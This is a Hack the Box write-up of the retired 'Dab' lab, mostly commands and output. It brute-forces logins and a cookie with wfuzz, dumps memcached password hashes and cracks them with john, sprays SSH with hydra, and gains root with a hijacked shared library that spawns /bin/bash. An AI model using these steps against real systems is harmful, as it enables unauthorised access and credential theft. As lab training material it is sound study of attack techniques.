Today we are going to solve another CTF challenge “Dab”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Let’s start off with our basic Nmap command to find out the open ports and services.
root@kali:~/htb/dab# nmap -sC -sV -oA nmap 10.10.10.86 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-27 10:14 EDT Nmap scan report for 10.10.10.86 Host is up (0.029s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.20 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA) | 256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA) |_ 256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519) 80/tcp open http nginx 1.10.3 (Ubuntu) |_http-server-header: nginx/1.10.3 (Ubuntu) | http-title: Login |_Requested resource was http://10.10.10.86/login 8080/tcp open http nginx 1.10.3 (Ubuntu) |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.10.3 (Ubuntu) |_http-title: Internal Dev Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.85 seconds
The Nmap scan shows us that there are 4 ports open: 21(FTP), 22(SSH), 80(HTTP), 8080(HTTP)
As port 21 is open, we access it using FTP and find a JPG file. We download it to our system to find more information about the image file.
We use a tool called “steghide” to find if there is any file hidden inside the image and find a hidden text file called “dab.txt”. We extract the file and open it and find that it was a dead end.
steghide --info dab.jpg steghide extract -sf dab.jpg -xf dab.txt
root@kali:~/htb/dab# curl -s 'http://10.10.10.86/login' <html> <head> <title>Login</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <div class="container"> <h1>Please login</h1> <form action="" method="post"> <input type="text" placeholder="Username" name="username"> <input type="password" placeholder="Password" name="password"> <input type="submit" name="submit" value="Login"> </form> </div> </body> </html>
Port 8080 is also running HTTP, we try to access the web service and get an error that the authentication cookie is not set.
root@kali:~/htb/dab# curl -s 'http://10.10.10.86:8080' <!DOCTYPE html> <html lang="en"> <head> <title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"> </head> <body> <div class="container wrapper"> Access denied: password authentication cookie not set </div> </body> </html>
The request to http://10.10.10.86/login is captured in Burp Suite and parameters examined.
Wfuzz is used to brute force the admin password. Incorrect responses are 18 lines in length and these are hidden from output
root@kali:~/htb/dab# wfuzz -c --hl=18 -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt -d 'username=admin&password=FUZZ&submit=Login' http://10.10.10.86/login ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.86/login Total requests: 1000 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000277: C=500 4 L 40 W 291 Ch "пїЅпїЅпїЅпїЅпїЅпїЅ" 000523: C=302 3 L 24 W 209 Ch "Password1" 000627: C=500 4 L 40 W 291 Ch "пїЅпїЅпїЅпїЅпїЅпїЅпїЅ" 000705: C=500 4 L 40 W 291 Ch "пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ" Total time: 5.121295 Processed Requests: 1000 Filtered Requests: 996 Requests/sec.: 195.2630
We find the correct username and password to be “admin: Password1”.
We could also
Fuzzing with ZAP
First thing to mention is the wordlist , because we are bruteforcing remotely it’s better to use a small wordlist so we won’t use rockyou here. I used darkweb2017-top10000.txt from Seclists
Let’s start zap and intercept the request again.
Then right click –> attack –> fuzzer . After that we highlight the place we want to fuzz , that will be the password parameter value. Add –> Add then we paste the wordlist content
.
We are still not able to access the web application on port 8080, as it still shows the same cookie error. So we brute-force the cookie parameter using burp suite.
After selecting “rockyou.txt” as wordlist, we find the cookie parameter is called “password”. We also get another error; stating that the password authentication cookie is incorrect.
We use wfuzz to brute force the “password” variable and find the value to be “secret”.
root@kali:~/htb/dab# wfuzz -u http://10.10.10.86:8080/ --hl=14 -w /usr/share/SecLists/Passwords/darkweb2017-top10000.txt -b password=FUZZ ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.86:8080/ Total requests: 10000 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000211: C=200 21 L 48 W 540 Ch "secret" 003640: C=200 14 L 29 W 324 Ch "123456v"^C Finishing pending requests...
Using burpsuite we change the cookie and are now able to access the web page. After accessing it we find a web application that can be used to send a command to a certain port.
Memcached
Using this page, I was able to enumerate a further local service listening at 11211/tcp
: memcached
. It’s easy. Any non-listening port will result in a respode code of 500
(INTERNAL SERVER ERROR). Again, we’ll use wfuzz.
root@kali:~/htb/dab# wfuzz -c -z range,1-65535 -u 'http://10.10.10.86:8080/socket?port=FUZZ&cmd=puck' -H "Cookie: password=secret" --hc=500 ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.86:8080/socket?port=FUZZ&cmd=abc Total requests: 65535 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000021: C=200 28 L 61 W 627 Ch "21" 000022: C=200 28 L 55 W 629 Ch "22" 000080: C=200 40 L 84 W 1010 Ch "80" 008080: C=200 40 L 84 W 1010 Ch "8080" 011211: C=200 27 L 52 W 576 Ch "11211" 011488: C=500 4 L 40 W 291 Ch "11488"^C Finishing pending requests...
Now port 11211 is for Memcached server, so we run version command to check the version of the Memcached server.
root@kali:~/htb/dab# curl -s 'http://10.10.10.86:8080/socket?port=11211&cmd=version' <!DOCTYPE html> <html lang="en"> <head> <title>Internal Dev</title> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"> </head> <body> <div class="container wrapper"> <p>Status of cache engine: Online</p> <h4>TCP socket test</h4> <form action="/socket"> <input type="text" name="port" placeholder="TCP port"></input> <input type="text" name="cmd" placeholder="Line to send..."></input> <input type="submit" value="Submit"</input> </form> <p>Output</p> <pre> VERSION 1.4.25 Ubuntu </pre> </div> </body> </html>
We find that we are successfully able to get the version of the Memcached server.
let’s find what characters are blacklisted
root@kali:~/htb/dab# wfuzz -c --hw=84 -w /usr/share/SecLists/Fuzzing/alphanum-case-extra.txt -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=80&cmd=FUZZ' ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.86:8080/socket?port=80&cmd=FUZZ Total requests: 95 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=200 14 L 27 W 303 Ch "!" 000002: C=200 14 L 27 W 303 Ch """ 000003: C=200 14 L 25 W 287 Ch "#" 000004: C=200 14 L 27 W 303 Ch "$" 000007: C=200 14 L 27 W 303 Ch "'" 000008: C=200 14 L 27 W 303 Ch "(" 000009: C=200 14 L 27 W 303 Ch ")" 000010: C=200 14 L 27 W 303 Ch "*" 000005: C=200 14 L 27 W 303 Ch "%" 000006: C=200 14 L 25 W 287 Ch "&" 000012: C=200 14 L 27 W 303 Ch "," 000013: C=200 14 L 27 W 303 Ch "-" 000014: C=200 14 L 27 W 303 Ch "." 000015: C=200 14 L 27 W 303 Ch "/" 000026: C=200 14 L 27 W 303 Ch ":" 000027: C=200 14 L 27 W 303 Ch ";" 000028: C=200 14 L 27 W 303 Ch "<" 000029: C=200 14 L 27 W 303 Ch "=" 000030: C=200 14 L 27 W 303 Ch ">" 000032: C=200 14 L 27 W 303 Ch "@" 000031: C=200 14 L 27 W 303 Ch "?" 000059: C=200 14 L 27 W 303 Ch "[" 000060: C=200 14 L 27 W 303 Ch "\" 000062: C=200 14 L 27 W 303 Ch "^" 000061: C=200 14 L 27 W 303 Ch "]" 000063: C=200 14 L 27 W 303 Ch "_" 000064: C=200 14 L 27 W 303 Ch "`" 000091: C=200 14 L 27 W 303 Ch "{" 000092: C=200 14 L 27 W 303 Ch "|" 000093: C=200 14 L 27 W 303 Ch "}" 000094: C=200 14 L 27 W 303 Ch "~" 000095: C=200 14 L 25 W 287 Ch "" Total time: 0.789136 Processed Requests: 95 Filtered Requests: 63 Requests/sec.: 120.3847
Now after getting the version of the Memcached server, we try to find all the users that are available on the web server. So we send the command “get users” to port 11211.
After running the command, we are successfully able to get username and password hashes available on the memcached server.
We copy the username and password from the web site into a text file so that we can user john the ripper to crack the hashes.
john --format=raw-md5 --show user2.txt > cracked.txt
After cracking the password, we use the saved file to brute-force SSH login using hydra and find the correct credentials to be “genevieve: Princess1”.
hydra -C cracked.txt ssh://10.10.10.86 -t4
Now we use this credential to login through SSH. After logging in we find a file called “user.txt”, when we open it we find our first flag.
root@kali:~/htb/dab# ssh genevieve@10.10.10.86
genevieve@10.10.10.86's password: Princess1
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-133-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Mar 26 23:42:41 2018 from 172.23.10.99
genevieve@dab:~$ ls
user.txt
genevieve@dab:~$ cat user.txt
9bc*****2b1
We now find the file with suid bit set, and find an application called “myexec”.
genevieve@dab:~$ find / -perm -4000 2>/dev/null /bin/umount /bin/ping /bin/ping6 /bin/su /bin/ntfs-3g /bin/fusermount /bin/mount /usr/bin/at /usr/bin/newuidmap /usr/bin/passwd /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/chsh /usr/bin/sudo /usr/bin/newgidmap /usr/bin/myexec /usr/bin/pkexec /usr/bin/chfn /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /sbin/ldconfig /sbin/ldconfig.real
We run the application and find that it is asking for a password.
We now use ltrace to find the password of the application.
Now when we give the correct password and run it with ltrace. We find that a function is missing from the application.
We find the shared library that the application is using. We check “/etc/ld.so.conf.d/test.conf” to find the location from which the preloaded library is accepted and find it is “/tmp” directory.
Now create a C program to execute “/bin/bash” inside /tmp directory.
#include <unistd.h> void seclogin() { setuid(0); setgid(0); system("/bin/bash"); }
We compile it as a shared library.
genevieve@dab:/tmp$ gcc -shared -fPIC -o libseclogin.so libseclogin.c libseclogin.c: In function ‘seclogin’: libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] system("/bin/bash"); ^ genevieve@dab:/tmp$ ls libseclogin.c libseclogin.so systemd-private-878abaa780d9451ca3a9b312f4979967-systemd-timesyncd.service-u6R6Yx vmware-root
Now we’r inside the /tmp/ directory wend cache the shared library using “ldconfig”. Then when running the application and give it the correct password we are able to spawn a bash shell as the root user. We move to /root directory and find a file called “root.txt”. We take a look at the content of the file and find the final flag.
genevieve@dab:/tmp$ vi libseclogin.c genevieve@dab:/tmp$ gcc -shared -fPIC -o libseclogin.so libseclogin.c libseclogin.c: In function ‘seclogin’: libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] system("/bin/bash"); ^ genevieve@dab:/tmp$ ls libseclogin.c libseclogin.so systemd-private-878abaa780d9451ca3a9b312f4979967-systemd-timesyncd.service-u6R6Yx vmware-root enevieve@dab:~$ cat /tmp/libseclogin.c include <unistd.h> void seclogin() { setuid(0); setgid(0); system("/bin/bash"); } genevieve@dab:/tmp$ ldconfig genevieve@dab:/tmp$ /usr/bin/myexec Enter password: s3cur3l0g1n Password is correct root@dab:/# cd /root root@dab:/root# cat root.txt 45c*****a98e
Author: Jacco Straathof